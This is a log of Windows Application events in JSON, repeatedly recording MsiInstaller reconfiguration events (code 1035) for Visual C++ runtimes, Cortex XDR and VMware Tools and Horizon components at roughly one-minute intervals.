{"@timestamp":1657387630245,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169076}}
{"@timestamp":1657387630284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169077}}
{"@timestamp":1657387630316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169078}}
{"@timestamp":1657387689840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169079}}
{"@timestamp":1657387689866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169080}}
{"@timestamp":1657387689916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169081}}
{"@timestamp":1657387689956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169082}}
{"@timestamp":1657387689984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169083}}
{"@timestamp":1657387690015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169084}}
{"@timestamp":1657387690042,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169085}}
{"@timestamp":1657387690069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169086}}
{"@timestamp":1657387690105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169087}}
{"@timestamp":1657387690132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169088}}
{"@timestamp":1657387749935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169089}}
{"@timestamp":1657387749960,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169090}}
{"@timestamp":1657387750009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169091}}
{"@timestamp":1657387750052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169092}}
{"@timestamp":1657387750081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169093}}
{"@timestamp":1657387750111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169094}}
{"@timestamp":1657387750137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169095}}
{"@timestamp":1657387750164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169096}}
{"@timestamp":1657387750200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169097}}
{"@timestamp":1657387750229,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169098}}
{"@timestamp":1657387810285,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169099}}
{"@timestamp":1657387810314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169100}}
{"@timestamp":1657387810365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169101}}
{"@timestamp":1657387810406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169102}}
{"@timestamp":1657387810436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169103}}
{"@timestamp":1657387810466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169104}}
{"@timestamp":1657387810493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169105}}
{"@timestamp":1657387810520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169106}}
{"@timestamp":1657387810558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169107}}
{"@timestamp":1657387810588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169108}}
{"@timestamp":1657387869902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169109}}
{"@timestamp":1657387869928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169110}}
{"@timestamp":1657387869976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169111}}
{"@timestamp":1657387870017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169112}}
{"@timestamp":1657387870044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169113}}
{"@timestamp":1657387870074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169114}}
{"@timestamp":1657387870100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169115}}
{"@timestamp":1657387870126,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169116}}
{"@timestamp":1657387870161,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169117}}
{"@timestamp":1657387870188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169118}}
{"@timestamp":1657387930005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169119}}
{"@timestamp":1657387930032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169120}}
{"@timestamp":1657387930082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169121}}
{"@timestamp":1657387930122,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169122}}
{"@timestamp":1657387930150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169123}}
{"@timestamp":1657387930181,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169124}}
{"@timestamp":1657387930207,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169125}}
{"@timestamp":1657387930233,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169126}}
{"@timestamp":1657387930269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169127}}
{"@timestamp":1657387930296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169128}}
{"@timestamp":1657387989996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169129}}
{"@timestamp":1657387990022,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169130}}
{"@timestamp":1657387990072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169131}}
{"@timestamp":1657387990114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169132}}
{"@timestamp":1657387990143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169133}}
{"@timestamp":1657387990173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169134}}
{"@timestamp":1657387990199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169135}}
{"@timestamp":1657387990225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169136}}
{"@timestamp":1657387990261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169137}}
{"@timestamp":1657387990288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169138}}
{"@timestamp":1657388050137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169139}}
{"@timestamp":1657388050163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169140}}
{"@timestamp":1657388050212,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":169141}}
